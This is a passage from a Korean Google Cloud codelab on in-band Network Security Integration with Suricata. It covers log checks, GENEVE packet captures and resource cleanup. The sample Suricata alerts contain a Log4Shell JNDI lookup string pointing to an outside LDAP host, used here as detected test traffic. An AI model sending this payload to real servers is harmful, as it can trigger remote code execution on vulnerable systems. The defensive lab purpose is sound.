이 요청이 처리되었습니다. $zonec로 NSI를 구성하지 않았으므로 정상적인 동작입니다. 가로채기 엔드포인트 그룹에는 $zonea 및 $zoneb에 대한 연결만 있습니다.

  1. SSH 세션을 종료하여 Cloud Shell로 돌아갑니다.
exit

Suricata가 악성 요청을 수신하고 차단했는지 확인

  1. $zonea (suricata-$zonea)의 Suricata VM에 SSH로 연결하여 로그를 확인합니다.
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. 공격 유형을 기준으로 필터링된 로그를 확인합니다.
cat /var/log/suricata/eve.json | grep log4j

일부 항목이 표시될 수 있습니다. 항목이 표시되지 않으면 $zoneb에서 Suricata VM의 로그를 확인합니다. 샘플 출력:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. SSH 세션을 종료하여 Cloud Shell로 돌아갑니다.
exit

선택적으로 $zoneb (suricata-$zoneb)에서 Suricata VM에 SSH로 연결하고 로그를 검증할 수 있습니다.

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

공격 유형을 기준으로 필터링된 로그를 확인합니다.

cat /var/log/suricata/eve.json | grep log4j

샘플 출력:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

또한 패킷 캡처는 트래픽을 확인하고 검증하는 좋은 방법입니다.

이 명령어는 GENEVE 패킷을 필터링합니다. 명령어 샘플:

sudo tcpdump -i any -nn udp port 6081

이제 소비자 VM에서 테스트 트래픽을 몇 개 보냅니다. 샘플 출력:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

tcpdump를 사용하면 GENEVE 헤더를 확인할 수 있습니다. 소스 IP는 서브넷 게이트웨이 (10.0.0.1)이고 대상 IP는 전달 규칙 (10.0.0.11 또는 10.0.0.12)입니다. 캡슐화된 패킷에는 원래 패킷(consumer-$zonea(192.168.0.2) 또는 consumer-$zoneb(192.168.0.3)의 클라이언트 IP 및 대상 google.com)이 포함됩니다. 이는 패킷이 가로채져 네트워크 보안 통합을 통해 서드 파티 어플라이언스로 전송됨을 확인해 줍니다.

  1. SSH 세션을 종료하여 Cloud Shell로 돌아갑니다.
exit

축하합니다 대역 내 네트워크 보안 통합 (NSI)을 사용하여 환경을 배포하고 테스트했습니다.

5. 삭제

소비자

컨슈머 VM을 삭제합니다.

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

방화벽 연결 및 정책 삭제:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

보안 프로필 그룹 및 보안 프로필 삭제:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

엔드포인트 연결 및 가로채기 엔드포인트 그룹을 삭제합니다.

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Cloud NAT, Cloud Router, 예약된 IP 삭제

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

VPC 및 서브넷 삭제

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

프로듀서

가로채기 배포를 삭제합니다.

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

인터셉트 배포 그룹 삭제 (이 명령어가 성공하려면 인터셉트 배포 삭제가 완료되어야 함):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

전달 규칙을 삭제합니다.

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

전달 규칙 예약 IP를 삭제합니다.

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

백엔드 서비스를 삭제합니다.

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

비관리형 인스턴스 그룹을 삭제합니다.

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

상태 점검을 삭제합니다.

gcloud compute health-checks delete nva-hc -q

프로듀서 VM을 삭제합니다.

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Cloud NAT, Cloud Router, 예약된 IP를 삭제합니다.

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

FW 정책 연결을 삭제합니다.

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

FW 정책을 삭제합니다.

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

VPC 및 서브넷 삭제

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. 축하합니다.

축하합니다. Suricata를 사용한 대역 내 네트워크 보안 통합 Codelab을 완료했습니다.

NSI 대역 내 공급업체별 데모 동영상을 시청하세요.

Palo Alto Networks

Fortinet

조직과 관련이 있을 수 있는 공급업체별 배포 가이드를 확인하세요.

Palo Alto Networks

Fortinet

체크포인트